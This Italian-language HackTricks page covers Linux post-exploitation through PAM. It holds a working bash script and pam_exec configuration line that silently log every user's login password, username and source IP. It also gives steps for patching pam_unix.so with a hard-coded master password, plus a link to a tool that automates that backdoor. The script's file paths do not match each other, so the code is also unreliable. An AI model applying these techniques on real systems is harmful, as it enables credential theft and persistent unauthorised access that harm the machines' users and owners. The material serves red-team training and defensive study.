Linux Post-Exploitation

Reading time: 3 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Sniffing Logon Passwords with PAM

Configuriamo un modulo PAM per registrare ogni password che ogni utente utilizza per accedere. Se non sai cos'è PAM, controlla:

{{#ref}} pam-pluggable-authentication-modules.md {{#endref}}

Per ulteriori dettagli, controlla il post originale. Questo è solo un riassunto:

Panoramica della Tecnica: I Moduli di Autenticazione Pluggabili (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di accesso, ma possono anche comportare rischi se utilizzati in modo improprio. Questo riassunto delinea una tecnica per catturare le credenziali di accesso utilizzando PAM, insieme a strategie di mitigazione.

Cattura delle Credenziali:

  • Uno script bash chiamato toomanysecrets.sh è creato per registrare i tentativi di accesso, catturando la data, il nome utente ($PAM_USER), la password (tramite stdin) e l'IP dell'host remoto ($PAM_RHOST) in /var/log/toomanysecrets.log.
  • Lo script è reso eseguibile e integrato nella configurazione PAM (common-auth) utilizzando il modulo pam_exec.so con opzioni per eseguire silenziosamente ed esporre il token di autenticazione allo script.
  • L'approccio dimostra come un host Linux compromesso possa essere sfruttato per registrare le credenziali in modo discreto.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Per ulteriori dettagli controlla il post originale. Questo è solo un riassunto:

Il Modulo di Autenticazione Pluggabile (PAM) è un sistema utilizzato sotto Linux per l'autenticazione degli utenti. Si basa su tre concetti principali: nome utente, password e servizio. I file di configurazione per ogni servizio si trovano nella directory /etc/pam.d/, dove le librerie condivise gestiscono l'autenticazione.

Obiettivo: Modificare PAM per consentire l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo è particolarmente focalizzato sulla libreria condivisa pam_unix.so utilizzata dal file common-auth, che è inclusa da quasi tutti i servizi per la verifica della password.

Passi per Modificare pam_unix.so:

  1. Individuare la Direttiva di Autenticazione nel file common-auth:
  • La riga responsabile del controllo della password di un utente chiama pam_unix.so.
  1. Modificare il Codice Sorgente:
  • Aggiungere un'istruzione condizionale nel file sorgente pam_unix_auth.c che concede accesso se viene utilizzata una password predefinita, altrimenti procede con il normale processo di autenticazione.
  1. Ricompilare e Sostituire la libreria modificata pam_unix.so nella directory appropriata.
  2. Test:
  • L'accesso è concesso attraverso vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i normali processi di autenticazione rimangono inalterati.

note

Puoi automatizzare questo processo con https://github.com/zephrax/linux-pam-backdoor

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks